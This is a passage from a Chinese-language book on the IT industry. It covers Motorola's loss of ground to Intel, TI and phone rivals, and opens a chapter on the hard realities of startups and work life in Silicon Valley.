等更新的电子公司。\n当然，仅仅这一次失败、甚至在整个手机领域的失败还不至于把世界第一的无线通信公司搞垮。但是，摩托罗拉几乎同时在所有的战线上全面崩溃，便一下跌入了谷底。\n在计算机处理器业务上，摩托罗拉经过多年的努力，还是最终败给了英特尔。摩托罗拉和英特尔之争在前面已经提到，我们就不再赘述了。值得强调的是，从一开始直到几年前摩托罗拉把它的半导体业务卖掉，摩托罗拉在处理器技术和产品性能上从来没有输给过英特尔，但是在商业竞争中，光有技术显然是不行的。\n在数字信号处理器上，摩托罗拉最终没有竞争过老对手德州仪器。如果说中央处理器（CPU）是计算机的大脑，数字信号处理器则是我们今天手机、数字电视等产品的大脑。它在国民经济和人们生活中的重要性可想而知。\n谈到数字信号处理器，业界的人都会首先想到德州仪器公司（TI）。德州仪器公司历史和摩托罗拉差不多长，经历也类似，从给军方提供无线电产品起家。八十年代初，即 ATT 之后，TI 和摩托罗拉几乎同时推出了自己的 DSP ，TSM320 系列和 M56000 系列。德州仪器的第一代 TSM320C2X 是十六位定点处理器，在精度上略显不足，由于是定点处理器，所有的浮点计算要由编程人员改为定点实现，使用也不是很方便。摩托罗拉的 M56000 系列一开始就是 24 位，精度对于当时的应用绰绰有余，应该讲性能在 TI 产品之上。但是，学过计算机编程的人可能都知道，这种不伦不类的 24 位处理方式使用起来会很别扭。很快德州仪器推出了三十二位的 TSM320C3X 系列，虽然价钱较摩托罗拉的 DSP 贵，但是由于在 32 位处理器上开发产品容易，因此大家还是喜欢用 TI 的 DSP 。由于摩尔定理的作用，摩托罗拉 M56000 在价格上的优势越来越不明显，而它在开发成本上的劣势渐渐显示出来，在 DSP 上，它与 TI 的差距一天天拉大。我至今搞不懂为什么摩托罗拉要做上不着天、下不着地的 24 位 DSP 。也许是它考虑到客户购买的成本，但却忽视了客户使用的方便性。说得重一点，摩托罗拉低估了摩尔定理的作用，过分看重制造成本而忽视了开发成本：前者随着时间的推移而降低，后者则增加，因此它的产品从发展的角度看略逊于 TI 。另外提一句，摩托罗拉的中央处理器 68K 系列中早期的产品也是这种不伦不类的 24 位总线。\n随着半导体的集成度的提高，TI 等公司将手机外围电路的芯片和 DSP 集成在一起，现在的手机主要芯片只剩下一个。TI 很像计算机领域的英特尔公司，它自己不做手机，而是像许许多多手机厂商提供核心芯片，它通过其领先的 DSP 技术，牢牢站住了世界中高端手机市场的半壁江山。摩托罗拉的战线则拉得很长，从手机芯片到手机整机一条龙。如果内部合作的好，这种做法成本固然低。但是，加尔文不是通用电气的韦尔奇，没有能力整合这么大的公司，其芯片部门和整机部门像两个单独的公司，没有足够的沟通，反而使得产品开发周期变长。摩托罗拉和德州仪器在手机芯片上的差距是渐渐拉开的，就如同它和英特尔在处理器上的竞争是慢慢失败的一样。但是，当这种差距达到一定程度后，就不可能逆转了。到 2004 年，加尔文下台时，其半导体部门被迫分离出去单独上市，就是现在的 Freescale 。后来 Freescale 的业绩依然不佳，只好被私募基金（Private Equity）买了去，这当然是后话了。\n摩托罗拉长期以来形成了高工资，高福利的大锅饭，员工干好干坏差别不大。摩托罗拉的本意是想避免员工之间不必要的攀比，每个人都有一个宽松自在的环境安心工作。这是四五十年前大公司吸引人才的方式，欧洲公司至今还采用这种办法。但是这不太适合喜欢冒险的美国人。八九十年代以来，美国的科技公司为了调动知识型员工的积极性，很多采用的股票期权制（我们以后再仔细介绍）。而摩托罗拉公司很晚都没有采用这种福利，直到今天，摩托罗拉公司给员工的期权依然数量很少。这不能不说是受摩托罗拉的传统管理方式所限。因此，很多人把摩托罗拉看成一个去养老的公司而不是一个创业的公司。\n摩托罗拉另一个问题是管理混乱，内斗多。虽然这是上市大公司的通病，但摩托罗拉在同行业公司中问题更严重些。大公司在竞争中，不需要做到十全十美，只要比对手好一点点就行了，而摩托罗拉却恰恰比英特尔和TI差了一点。时间一长，就露出了败相。\n10.6 回天乏力\n2001 年美国网络泡沫破裂，科技股 Nasdaq 崩盘，这对本来已经开始走下坡路的摩托罗拉更是雪上加霜，它的股票从 2000 年的 50 多美元跌到 2003 年的不足 8 美元。（注释：2000 年摩托罗拉有一次 1：2 的分股，分股前的股价超过 100 美元。）2003 年 9 月，摩托罗拉创始人保罗·加尔文的孙子克里斯托弗·加尔文不得不离开摩托罗拉董事长的职位，摩托罗拉从此结束了家族企业的的历史。\n像惠普那样换一个 CEO 就能翻盘的事不是总能发生的。加尔文的继任者 Zander 可没有惠普新 CEO 赫德的本事和运气，虽然他上任时提出夺回手机占有率的口号。和跨国公司大多数受命危难的继任者一样，Zander 上台后进行了公司重组，大规模裁员，公司的利润保住了，股价也上来了。同时，他把半导体部门分出去上市，专心于手机业务。但是，在管理公司方面，他并没有显示出过人的本领。办事效率依然不高、内斗明显，产品开发速度上居然赶不上后来居上的三星公司。三星每几个月就能推出一款手机，而摩托罗拉半年都不能定义清楚一款新的手机。不仅如此，摩托罗拉每成功上市一款手机，就有更多款的手机半途而废。因此，摩托罗拉手机的设计成本极高。\n摩托罗拉至今都看不起三星和诺基亚不重视核心技术、只在外型和功能上搞花架子的做法。摩托罗拉一直认为技术和质量是产品的关键，因此我说它是 IT 业的一个贵族。这当然没有错，但是远不够。今天，至少在手机行业，各个公司产品在硬件技术上差不到哪去，设计一款手机的硬件和当年在中关村攒一台 PC 一样容易。现在的手机里面没有几个芯片，而且核心的只有一个，只要到 TI 去买就可以了。（这也是为什么中国有无数手机品牌的原因。）因此手机的质量都不是唯一决定市场的因素。另一方面，今天所有手机的质量比二十年前都有很大的提高，今天质量差的手机也比二十年前质量好的手机质量更好，也就是说质量差的手机也凑合能用。要想在今天的手机市场上（尤其是在亚洲）站稳脚，功能、外观的设计和质量及技术含量同样重要，商业和市场的开拓更是不可偏废，在这些方面，摩托罗拉和后进入手机市场的公司几乎处在同一个起跑线上。\n摩托罗拉早在七、八年前就看到统一手机操作系统平台的重要性。十年前，摩托罗拉和所有手机厂家的每一款手机都有自己独特的硬件和软件，开发工作重复性很高，手机应用程序之间也互不兼容。摩托罗拉试图打造一个通用的操作系统作为它今后手机开发的统一的平台。这个想法本来不错，但是摩托罗拉选错了平台，选中了 Java 。它从太阳公司请来了一位主管 Java 开发的副总裁主管手机通用操作系统的开发，同时摩托罗拉公司雇佣很多 Java 工程师来开发这个平台。但是，Java 有一个无法克服的先天不足，就是速度太慢。2004 年，该平台原型开发出来时，公司发现其速度只有实时速度的几分之一，即使硬件速度按照摩尔定理预测的速度增长，这个操作系统在几年内也无法实现实时。因此摩托罗拉不得不放弃该平台。此后，摩托罗拉又试图开发基于 Linux 的通用平台，但是由于内耗，进展也不顺利。而此时，Andy Robin 的小团队已经在 Linux 手机平台上取得了巨大的突破，这个团队不久便被 Google 收购，成为今天全世界开源的手机平台 Android 的原型。摩托罗拉由于执行力不足，终于失去了统一手机操作系统平台的最佳机会。\n摩托罗拉做手机二十年，至今没有一款手机能称得上“Cool“ -酷的。Zander 在这方面也没有苹果公司乔布斯的天赋。苹果公司虽然是最晚进入手机市场的，却做出了今天最好的手机。在开拓市场方面，Zander 能想出的提高市场占有率唯一有效的手段就是打价格战。一时间，这个饮鸩止渴的办法确实提高了摩托罗拉的市场占有率。但是，由于摩托罗拉手机的利润本身就比诺基亚薄，降价空间有限，两年后，当摩托罗拉再无利润可降时，内部的低效率、管理混乱的问题还没来得及解决，摩托罗拉的市场占有率已经开始慢慢地下滑。当了四年 CEO 的 Zander 就不得不离职了。\n摩托罗拉没有惠普的运气，它至今还没有找到一位合适的领导人。新的 CEO 至今没有找到拯救摩托罗拉的灵丹妙药。据华尔街日报报道，摩托罗拉居然想出出售最重要的手机部门的馊主意。但是，居然没有公司愿意接手，可见摩托罗拉手机部门内部问题之严重。\n摩托罗拉的救星也许在中国。摩托罗拉二十年前在中国的投资就非常成功，其中国公司是摩托罗拉海外最大、营业额最高的分公司，而且是促成摩托罗拉和中国政府以及工业界全面合作的桥梁。据华尔街日报报道，就在摩托罗拉试图出售手机部门最艰难的时候，摩托罗拉和几家中国公司签下了扩大合作的协议，这在生产和市场或许会有转机。但是，这些合作只是远水，是否能解摩托罗拉的近渴还不可知。\n结束语\n摩托罗拉作为世界无线（移动）通信的先驱和领导者，可以说开创了整个产业。遗憾的是，它只领导了移动通信的第一波浪潮，就被对手赶上并超过。此后，由于技术路线错误，执行力不足，失去了利用技术优势夺回市场的可能性。摩托罗拉曾经跨通信和计算机两大领域之间，甚至很有同时成为计算机和通信业霸主的可能。退一步讲，只要它在计算机中央处理器 CPU ，通信的数字处理器 DSP 或者手机任何一个领域站稳脚，就能顺着计算机革命或者通信革命的大潮前进，立于不败之地。但是，其领导人无力领导这样一个庞大的公司，反而使公司没有专攻的方向，在各条战线上同时失利。\n摩托罗拉和 ATT 衰落的原因正好相反。 ATT 由于没有一个能控股的股东，没有人觉得公司是自己的，并为它的长远利益考虑，于是董事会的短视和贪婪断送了它。而摩托罗拉相反，一直由卡尔文家族控制，卡尔文三世很想把它办成百年老店，当然不会出现 ATT 拆了卖的败家子行为，但是他心有余而力不足，无能力迎接信息革命的挑战。因此，摩托罗拉这个贵族式的公司不可避免地没落了。如果当初摩托罗拉的领袖是盖茨或者通用电气的韦尔奇，它也许就不会是今天这个结局了。我在前面多次强调公司领导人对公司发展的重要性，摩托罗拉的兴衰就是一个很好的例子。\n君子之泽，五世而斩，对一个贵族家族式的公司也是如此。虽然摩托罗拉衰落了，但是它几十年来造福于我们这个世界。没有它，我们也许要晚用几年手机，没有它和英特尔的竞争，我们的计算机也许没有今天这么快。\n第11章 硅谷的另一面\n1828 年、1835 年和 1842 年在美国加州圣地亚哥、旧金山和洛杉矶先后发现了金矿，并从此开始了美国西部的淘金热。到第二次世界大战前，加州黄金产量达到高峰，每年四十吨，接近于全世界有史以来黄金总量的千分之一。旧金山也因此而得名。但是，从对世界经济的影响和对人类进步的贡献来看，加州的淘金热远比不了二战后在旧金山湾区掀起的科技淘金浪潮。只是，这一次浪潮的核心元素不是地球上储量稀有的金子，而是储量第二大的元素，即土壤、沙子和玻璃的主要成分“硅”。它是半导体工业的核心元素。旧金山湾区从领导世界半导体工业开始，扩大到整个科技工业。从此，这里有了一个新的名称——硅谷。\n硅谷对外面很多人来讲是一个神秘而令人向往的地方。我在写这一章以前问过很多没有到过硅谷的人，“你觉得硅谷是个什么样的地方？”大部分人觉得，硅谷是科技之都、创新的地方、发财的地方，国际多元化的社区，气候最好的地方（注：硅谷地区确实四季如春）等等，也有个别人讲，硅谷是冒险家的乐园。这些看法都正确，而且在很多书里和媒体中一直是这样介绍硅谷的，因此我们不必在此赘述了。这里，我只想介绍一下硅谷的另一面，使读者对这个神奇的地方有个全面的了解。\n11.1 成王败寇\n在过去的五十年里，美国百分之三、四十的风险投资投到了只占国土面积万分之五的硅谷地区，并且让硅谷创造了无数的神话。在这里，大约每十天便有一家公司上市。美国前一百强的公司中，硅谷占了四成，包括 IT 领域的领军公司惠普、英特尔、苹果、太阳、思科、雅虎、Google（谷歌）和现在很红的 YouTube、Facebook ，以及生物领域的基因科技（Genentech）。当然世界上最大的风险投机公司 KPCB、红杉风投和很多大的投资公司也在硅谷。硅谷还拥有世界上顶级专业数量排名前两名的大学斯坦福大学和伯克利加大（UC Berkeley）。\n硅谷的气候属地中海式气候、四季如春，是世界上最宜居住的地方之一。全球只有五个不大的地区有这样好的气候。同时硅谷是世界上文化最多元化的地区，是世界上各种族人民相处最和睦的地区，其中第一和第二代移民占人口的一半以上。正是靠各民族人民的聪明智慧和勤劳勇敢，硅谷地区几十年来是世界上经济成长最快的地方。加州占美国经济总量（GDP）的六分之一，其中大部分来自于硅谷。2005 年，硅谷明星公司谷歌的员工贡献了全加州税收增幅的八分之一。我们可以毫不夸张地讲，硅谷是世界上最富传奇色彩的科技之都，对世界科技和经济的发展做出了无与伦比的贡献。\n正是由于硅谷在科技领域的成功，也造就了无数百万富翁甚至亿万富翁。一些年轻人在短短几年间就做出了他们前辈一辈子没有完成的发明创造——从集成电路、个人微机、以太网、Unix 操作系统、磁盘阵列、鼠标、图形工作站到网络浏览器（Web Browser）、关系型数据库、视窗软件、Java 程序语言、全电动力跑车等等。作为回报，他们聚集的财富超过欧美一些名门望族几代人的积累。在去年美国富豪榜上，前五位（共有六人，其中第五名是并列的）有一半来自于硅谷。很多人津津乐道好莱坞比佛利山庄的豪宅，其实无论在规模和价值上，它们与硅谷旁边的 Atherton 的豪宅相比都是小巫见大巫。\n无数的图书、报纸、电视和今天的互联网，讲述着这样一个关于硅谷的故事：“有两、三个缀学的大学生（最好是斯坦福的），有一天在车库里甚至是不经意发明了一个什么东东，马上来了几个（没头没脑的）风投资本家，随手给了他们几百万美元。两年后，这几个年轻人办起的 burnmoney.com 公司就上市了，华尔街欣喜若狂，也不管它有没有盈利，当天就把它的股价炒了三倍，这几个创始人一夜之间成了亿万富翁，跟着他们喝汤的员工们也个个成为了百万富翁。接下来，他们盖起百万千万的豪宅、开上保时捷甚至法拉利的跑车。每个人又甩手给母校盖了栋大楼，于是张三李四王五的大楼就到处都是了。”我不能说这种宣传的事没有发生过。事实上，它还不止一次发生过，只是这种的几率比中六合彩大奖的概率大不了多少，但绝对比被汽车撞死的概率小很多。（事实上，世界上死于交通事故的人数高达一百二十万，但靠创业发财的可没有这么多。）在硅谷，赶上上述这样机会的人，被称作中了“硅谷六合彩”（Silicon Valley Lottery）的幸运儿。虽然事情发生的可能性很小，但是榜样的力量是无穷的，这种故事的新闻效应很大。媒体和华尔街乐于塑造出一个个传奇人物和公司。二三十年前年轻人的偶像是乔布斯，后来是 Netscape 的吉姆.克拉克（Jim Clark）和雅虎的杨致远和费罗。这十年是谷歌的佩奇和布林，以后可能是 Facebook 的马克?祖克伯格（Marc ZuckerBerg）。这些成功人士的传奇点燃了年轻人心中创业的梦想，就如同好莱坞的明星带给了无数少男少女的明星梦一样。这正是风险投资资本家和华尔街所希望的。只有越来越多的人加入这种创业的游戏，投资者才能有好的项目投资。\n我的周围便聚集着许许多多憧憬着创业成功又无所畏惧的年轻人。他们朝气蓬勃又聪明肯干。由于种种原因，我时常需要认真地倾听他们创业的计划。坦率地将，我对这些沉溺于创业梦想的人泼凉水的时候多于鼓励的时候。虽然我知道他们更需要鼓励，但是在硅谷这个环境中，他们已经得到了无数的鼓励。因此，我觉得不必要的客套和言不由衷的鼓励可能会促使他们更加飘飘然，这样他们不仅血本全无，而且会失去赖以生存的条件。毕竟，硅谷的竞争太残酷了，成功的机会太低了。我有时会开玩笑地说“如果你不相信这辈子会被汽车撞死，为什么相信能中硅谷大奖？后者的可能性更小。”他们会开玩笑地说：“也许是利令智昏吧。”\n我们不妨看看创业成功的可能性。据统计，即使是在网络泡沫高峰、创业最容易的 2000 年，创业的小公司（Startups）最终能成功的或者上市或者被收购的，不过百分之二到三而已。绝大多数都夭折了，这些创业者也就默默无闻了。人们从来就是只记得住英雄的名字。网络泡沫破碎以后，我在谷歌面试过很多创业者(他们有一个好听的名字叫某某公司的创始人)，他们不乏很聪明、专业知识扎实，又很有干劲的人，这些优点远远不能保证他们能成为成功的企业家。但是，其中很多人不适合创业。\n一个小公司要想成功，有很多因素必须同时具备。\n· 首先，创始人很重要。任何梦想家都不足以成事，因为所有的成功者都是实干家。看过《三国演义》的人都知道，书中有两类聪明人，一类是曹操、司马懿那样的领袖人物，另一类是出点子的谋臣，像郭嘉、诸葛亮。办公司需要的是前一种人。创业者还必须精力过人，因为他们必须能熬得住几年每天在简陋的车库里工作 16-20 小时的苦日子。他们又必须是多面手，因为在创业初期他们必须干所有的脏活。著名的语音技术公司 Nuance 的共同创始人麦克.科恩（Mike Cohen）博士跟我讲，创业是一件极麻烦的事，创办一家公司的初期，小到安装一个传真机这种杂事都得自己干。成功的创业者必须有一个小而精的好团队，里面每个人都得不计较个人得失，同甘共苦，否则成则争功，败则互相推诿。在技术上，他们必须有自己的金刚钻，他们的技术必须是不容易被别人学会和模仿的。如果看到雅虎挣钱，就去搞网站，那基本上可以肯定是要失败的。\n· 但是光有好的团体和技术又远远不够，他们有商业头脑而且必须找到一个能盈利的商业模型（Business Model）。Ebay 和谷歌的成功很重要地在于它们很早就找到的好的商业模型。但是找到一个好的商业模型有时比发明一项技术更难，即使最有经验的风险投资专家在这上面也经常栽跟头。成功投资谷歌、太阳和 Ebay 等公司的风投之王 KPCB 也在毫无市场前景的、很酷的产品“Segway”上浪费了几千万。（我在后面的章节中会说明为什么 Segway 没有出路。）我一直不看好 Web 2.0 的原因也是它们至今没有好的商业模型。\n· 再接下来是判断力和执行力。通常，办起一个公司并不难，把它从小做到大，并且做到盈利就不容易。在这个过程中有很多路要走，不免要遇到数不清的岔路，任何一次错误的选择都可能使原本看上去不错的公司运营不下去而关门大吉，因为小公司对抗大公司时是不能有任何一次失误的。执行力是保证正确的决定能够最终实现的因素。判断力和执行力很大程度上来自于经验。创业的年轻人天生具有非凡的判断力和执行力不容易，为了保证一个起步良好的公司能够成功，一般风险投资家在投资的同时，要为公司寻找一位专业的 CEO ，就是这个目的。\n· 真正具备这些条件已经很不容易了。而一个初创公司的成功很大程度上还要看外部环境好不好，很多很有前途的公司因为创办的时机不对，也会随着经济大环境的衰退而夭折。比如 2000 年成立的公司就鲜有成功的。这样，能生存下来的公司就凤毛麟角了。\n· 最后，也是最重要的，创业者必须有好运气。世界上最大的防火墙公司 Netscreen 共同创始人柯岩博士对我讲，创业成功的关键是要有运气。\n当一个小公司成功上市后，股票能涨上去的又只有百分之二到三。大部分公司上市后股价平平，甚至不如上市价（即在中国常说的原始股价）。远的不说，就说最近两年中国在美国上市的两家很不错的半导体公司，中星微电子和展讯现在的价钱都不到上市时的一半。就连世界上最大的私募基金（Private Equity）公司黑石（BlackStone），上市半年后的股价也只有上市时的一半（用中国股民的话讲叫跌穿发行价）。更糟糕的情况是上市不久因无法持续盈利或者达不到预期盈利，就不得不再下市，或者被私募基金买掉。比如著名的硬盘制造商 Seagate 和美国最大的网上旅行社 Orbitz.com。其实，中国现在如日中天的网易公司，也曾经被 Nasdaq 勒令下市。根据美国证监会的规定，一个公司上市后员工（包括创始人自己）的股票在 180 天以后才能卖。因此，一个公司上市 180 天后，股价会大跌，因为员工能卖股票使得该公司股票可能供大于求。因此，通过创业成功能发大财的人终究是极少数。\n创业的过程本身是异乎寻常的艰辛。即使最后成功了，回首起来也是险情不断。一位非常成功的创业者和我们讲，他和他的合伙人在前一家公司挣到了不小的一笔钱，就创办了自己的公司。很快，两人上百万的积蓄就烧完了，他们艰难到用信用卡买设备，每月勉强支付出信用卡的利息。他们的运气很好，在这个时候找到了风险投资，融资几千万，但是，仅仅一年又烧得差不多了。好在当时两家垄断性跨国公司不惜成本地相互竞争，使他们渔翁得利，得以以一个很好的价钱（十几亿美元）被其中一家收购。但是，回想起来，成败就在一线之间。\n硅谷汇集了美国三、四成的风险投资，每天硅谷都有成百上千的公司成立，但同时又有成百上千的公司关门。对于那些失败的公司，大家并不关心，甚至无人知道它们的存在。即使很多曾经辉煌过的公司，像网景公司、SGI 公司，人们很快也就忘却了它们。在这些成千上万家硅谷的公司中，最终创造出了一些像思科、谷歌那样的传奇故事。仿佛间在硅谷办一个公司就能成一个。岂不知，一将功成万骨枯，无数失败的公司在为少数几个成功者做分母。\n上面这些问题是每个科技创业者在决定辞职或者退学创业前必须认真考虑的。\n11.2 嗜血的地方\n读者也许会觉得我用的标题有些恐怖，但事实如此。\n在硅谷，首先工作时间超长。我第一次去硅谷的 IBM Almaden 研究中心时，接待我的一位科学家在陪我吃完晚饭八点多以后又回到实验室干活去了。在那之前，我刚访问过 IBM 在纽约的华生实验室，记得那里晚上是没有人上班的。因此，我颇为惊讶地问他，是否今天有什么重要的事情必须完成。他告诉我，他几乎天天如此。虽然同样是 IBM 的雇员，在加州的人实际工作量顶得上美国东部两个人的工作。后来我才知道，加州那些小公司员工比 IBM 的工作时间还要长、负担还有重。\n美国的公司从理论上讲不鼓励加班，从法律上讲也不能要求正式雇员加班。对于按小时付薪水的合同工，加班要给加班费。但是正式员工如果自己想加班，是没有加班费的。我并不确定全美国 IT 行业的员工每周的平均工作时间，也许是四十小时左右吧，因为法律规定如此。在美国东部和南部，IT 行业的从业者每周工作很少能超过这个数。但是在加州，绝大部分科技公司的员工每周工作时间都远不止四十小时。即使是在我们前几章已经提到过的一些大跨国公司里，很多人经常周末要去加班。在小公司里，尤其是还没有上市的小公司，大家每周工作七八十小时甚至一百小时是很正常的事。日本人号称工作时间长，但和硅谷比只是小巫见大巫。更何况在日本，大家是没事做耗着不回家，而硅谷大家是有干不完的活。虽然硅谷工程师的薪水比美国同行要多百分之二十左右，但是，每小时实际收入其实要低得多。更何况，人一天只有二十四小时，工作时间太长，自己可以自由支配的时间就少了，生活质量就下降了。从这个角度讲，硅谷不是很好的生活的地方。这倒不是雇主不想对员工更好些，事实上加州的法律比其他州更倾向于保护雇员的利益，但是公司之间激励竞争的大环境使然。所有人，上至公司最高管理层，下至新入职的普通员工，在这样紧张环境下不得不加班加点地工作。\n当然，如果只是工作时间长一些，还可以忍受。硅谷失业的压力要比美国其它地区大得多。到了经济不好的年头，这里的失业率会率先攀升上去。记得网络泡沫破碎后的两年，在硅谷中心的圣塔克拉拉县（惠普、Google、英特尔、苹果、Yahoo、Ebay、微软、太阳等公司都在该县），失业率高达百分之七，远高于全国百分之五的平均水平，这还只是有资格领救济的美国公民和永久居民（即拿绿卡的），并不包括很多持有 H1B 工作签证的人。很多人一年以上找不到工作，被迫离开硅谷，有的去了美国东部，很多移民回到自己的祖国。中国海归的高潮就是从那时开始的。很多人为了使技术不荒废，宁可不要工资工作。（在硅谷，如果雇人的公司发现一个申请者半年以上没有工作，就会很不愿意雇佣这些人，因为公司会觉得这个申请者要么技术已经荒废、要么自身条件不强，否则为什么半年还找不到工作。）我的一个朋友在 2002 年创立了一个小公司，打出招人的广告，讲明是没有工资的。（当然，用了一个好听的说法叫“合伙创业”，可以得到一些可能有意义，也可能是废纸的股票）居然在短短的几天里收到上百份简历，其中很多是水平超出要求的（Over Qualified）工程师。即使有工作的人，也会担心什么时候裁员裁到自己头上。很多时候，不是个人本事济不济的问题，而是整个部门被裁掉甚至整个公司关门。覆巢之下无完卵。\n阿巴度（Claudio Abbado）指挥的音乐会、多明戈的歌剧或者看莫斯科大芭蕾舞团的演出，不过几十到一百美元。而在硅谷，这种文化生活是根本没有的。硅谷人最常去的解压度假的地方只有塔户湖（Lake Tahoe）的滑雪场和拉斯维加斯的赌馆。\n由于生活所迫，硅谷的人在外人眼里都相对急功近利和唯利是图。在硅谷不提供股票期权的公司，几乎找不到技术人员。按规定，一个雇员工作满一年就能按期权的价钱买下股票（这个过程叫 Exercise ），因此形成了一种在某公司工作满一年，拿到股票期权立刻走人，再到第二家、第三家公司的风气。如果说风险投资是通过分散投资来降低成本，那么很多硅谷雇员这是分散他们的生命来期望有朝一日在一家公司能中上硅谷彩券。在硅谷一两年换一个工作是很正常的，员工也就没有忠诚度可言。这不是个人的问题和错误，是生活压力使然。\n硅谷就是这样一个“嗜血”的地方。坦率地讲，硅谷的生活质量达不到美国的平均水平。但是，几十年来总有无数的年轻人把这里当作开拓自己事业的首选地，因为它给人机会和梦想。\n11.3 机会均等\n硅谷能成为科技之都，而且长盛不衰，必有它高明之处。其中最关键的一条是保证机会均等。任何人、任何国家和制度都无法保证我们的社会绝对公平，（事实上也没有必要追求绝对公平。）但是，一个好的制度要保证每个人有均等的机会。\n硅谷是一个到处可见权威却从不相信权威的地方。这里不仅有像约翰·轩尼诗（John Henessey 斯坦福校长，RISC 处理器系统结构的发明人之一）那样的科技界泰斗、拉里·埃里森（Larry Elison 甲骨文的总裁）和乔布斯那样的出类拔萃的工业界领袖，还有被称为风投之王的约翰·多尔（John Doeer KPCB 的合伙人）和迈克尔·莫里斯（Michael Moritz 红杉风投的合伙人）。这里集中了近百名诺贝尔奖、图灵奖和香农奖的获奖者。各国科学院和工程院院士多如牛毛。如果你开车在路上抛锚了，停下来帮助你的好心人可能就是一个大人物。（谷歌工程部门第一副总裁阿兰·尤斯塔斯就在路边帮助过人。）但是，硅谷却从不迷信权威。任何人要想在这里获得成功，都得真刀真枪地拿出真本事干出个样子。在美国很多地方，尤其是传统产业中，普遍看中甚至过于看重个人的经历（Resume）而不是做事情的本领。比如一个毕业生要想到位于美国东部的 IBM 华生实验室或者以前的贝尔实验室搞研究，必须出身于有些名望的实验室，有导师和教授们的推荐。（在日本公司更是如此）大公司雇用一个主管或者资深职务的员工，首先要看简历上的经验和头衔。这种做法当然有合理的一面，但是即使再真实的简历，也不免有夸大其辞的部分，更何况简历上的经历只是一个人以前做过什么而不是今后能做什么。在硅谷谋职，简历固然重要，但是个人的本事（包括和人打交道的软本领）才是各个公司真正看中的。由于每个公司产品的压力很大，同行业公司之间的淘汰率很高，硅谷的公司需要的不是指手画脚的权威而是实实在在干事情的人。硅谷几十年经验证明，那些初出茅庐能干具体事情的年轻人，可能比一个经验丰富但是已经眼高手低的权威对公司更有用。很多人向我抱怨过谷歌在招人时忽视以前的工作经历。其实，这是一个误解。和大部分的硅谷公司一样，谷歌更相信自己的通过面试得到的判断而不是简历和推荐信，所以，在招人的时侯，总喜欢考一考。不管面试者名气多大，水平多高，过不了考试也是白搭。我的一个在美国顶级的计算机系当教授的同学，先推荐了他的一个学生来谷歌应聘，结果录用了。后来他自己来，谷歌要考和他的学生考的类似的题目，他反而没有考过，虽然我们很为他感到可惜，但是也没有办法。这位教授很不服气，对我讲，我的学生远不如我你们却要了，我发表过那么多论文，拿到过那么多基金你们却不要，说明你们的眼光有问题。我承认他讲的很有道理，但是，不能为一个人坏了规矩。从谷歌和 Ebay 以及无数硅谷公司成功的经验看，这种不迷信权威，公平对待每一个人的做法总体上是对的。它确实有时候使得公司和一位称职的权威失之交臂，但是使得硅谷的公司能更多地吸收新鲜血液，充满了活力。\n不仅公司不迷信权威，硅谷的个人也是如此。一个年轻的工程师，很少会因为 IBM 或者斯坦福的专家说了该怎么做就循规蹈矩，而是会不断挑战传统寻找新的办法。在公司内部，职位高的人不能以权压人而必须以理服人。了解谷歌这样公司的人都知道老板并不好当。在硅谷各公司内部，虽然也有等级之分，但是已经比传统行业的公司要好很多了。更重要的是，公司内部的升迁和毕业学校、学历、工龄长短很少有直接关系。因此，硅谷常常有一个怪现象，约翰原来在某个公司是比尔的老板，几年后，两个人先后来到另一家公司，比尔经过努力成了约翰的老板。我的一个朋友通过他在学校里的师兄介绍加入了某个硅谷的大公司，而他的这个师兄是这家大公司的元老。我的这位朋友非常努力，半年后就当上了他师兄的老板。这种不拘一格用人才的做法使得硅谷公司在全世界具有最强的竞争力。\n对创业者来讲，资历固然有用，但就重要性而言远排不进前几位。名气大、职位高的创业者经验丰富、交际广，容易找到钱和市场，但是闯劲远不如初出茅庐的牛犊那么足。在风险投资家看来，一个人的能力，包括处理人际关系的“软”能力（Soft Skills）是决定创业成败的关键。一个人的职位只代表过去，而财富和地位有时反而成为创业的负担。这也是为什么硅谷很多著名的公司如思科、苹果、Yahoo 和谷歌，包括中国人创办的 Netscreen 和 Webex 都是原来默默无名的年轻人办成的，但是却很少听说那个成功公司是一位原某公司老总办的。\n自古英雄出少年，这是风险投资家们普遍承认的事实。红杉风投的投资家们和我谈过他们选择投资对象的原则，其中一条就是创业者一定要有饥渴感（Hungry）。很难想象一个腰缠万贯的富翁能比一个急于脱离贫困现状的缀学生更有把公司办好的可能。因为前者办公司不过是为了锦上添花而后者则是要置于死地而后生。这就是乔布斯勉励年轻人要保持饥渴感（Keep Hungry）的原因。关于风险投资家如何选择投资对象我以后还会详述。因此资深创业者和毫无经验的年轻人各有优势，但是机会均等。硅谷各个层次的成功者几乎无一例外是靠自己的双手从零干起，获得成功的。\n机会均等的另一方面表现在行行出状元。一百六十年前旧金山是淘金者的天下，一位叫李维·施特劳斯的德国人（Levi Strauss）也从纽约跑到这里来淘金。来了以后他发现淘金的人已经过剩了，于是他捡起了他原来布料商和裁缝的老本行，用做帐篷的帆布为淘金者做结实的工作服，这就是现在世界上最有名的 Levi's 牛仔裤。一百多年过去了，当年淘金者的踪迹已经找不到了，而 Levi's 牛仔裤今天仍然风靡全球。\n五十年前，在旧日废弃的金矿上人们开始挖掘新的金矿——IT 金矿。和老一代的开拓者一样，真正靠淘金发财的人并不多。但是在硅谷这一片年轻的土地上，只要肯干，在各行各业都会有成功的机会。\n由于有一些淘到金子的“冒险家”—科技新贵，就产生了替他们打理财务的需求，今天旧金山和硅谷就成为投资银行最集中的地区之一。除了我们以后要专门提到的风险投资，这里的个人财产管理（Private Wealth Management）业务也很发达。比如著名的投资银行高盛公司（Goldman Sachs），有超过 10% 的个人财产管理经理人都在硅谷，使硅谷成为全球仅次于其纽约总部的第二大分公司。由于硅谷房价很高，房屋交易金额大，而且硅谷人口流动性大，房屋交易数量多，早就出一大批房地产中介商，其中干得出色的，收入比一个上市公司的老总要多得多。据著名房地产中介商 Bill Gorman 自己讲，他十几年累计交易了八亿美元的房屋。按照美国标准的百分之三的佣金计算，他累计收入高达两千四百万美元，超过很多上市公司的老总。有趣的是很多从事金融和房地产业的人是 IT 出身的工程师。他们发现硅谷的 IT 行业已经人满为患，改行去从事其他工作，反而比原来当工程师甚至公司主管要成功得多。\n即便不在像金融和房地产这样高利润的行业工作，只要努力，一样能事业成功。我们不妨看看这样两个例子。我的一位朋友刚刚装修完新家，替他装地板的是一位华裔老板。他没读过大学，中学毕业就给别人打工当学徒，但是他非常爱钻研，人也勤快，很快就成为装地板的行家里手。几年后自己出来单干，开始接一些小活儿。由于他价钱便宜质量好，很快活就多得做不过来了，于是他雇了一些工人，业务便发展起来了。他通过高薪（和 IT 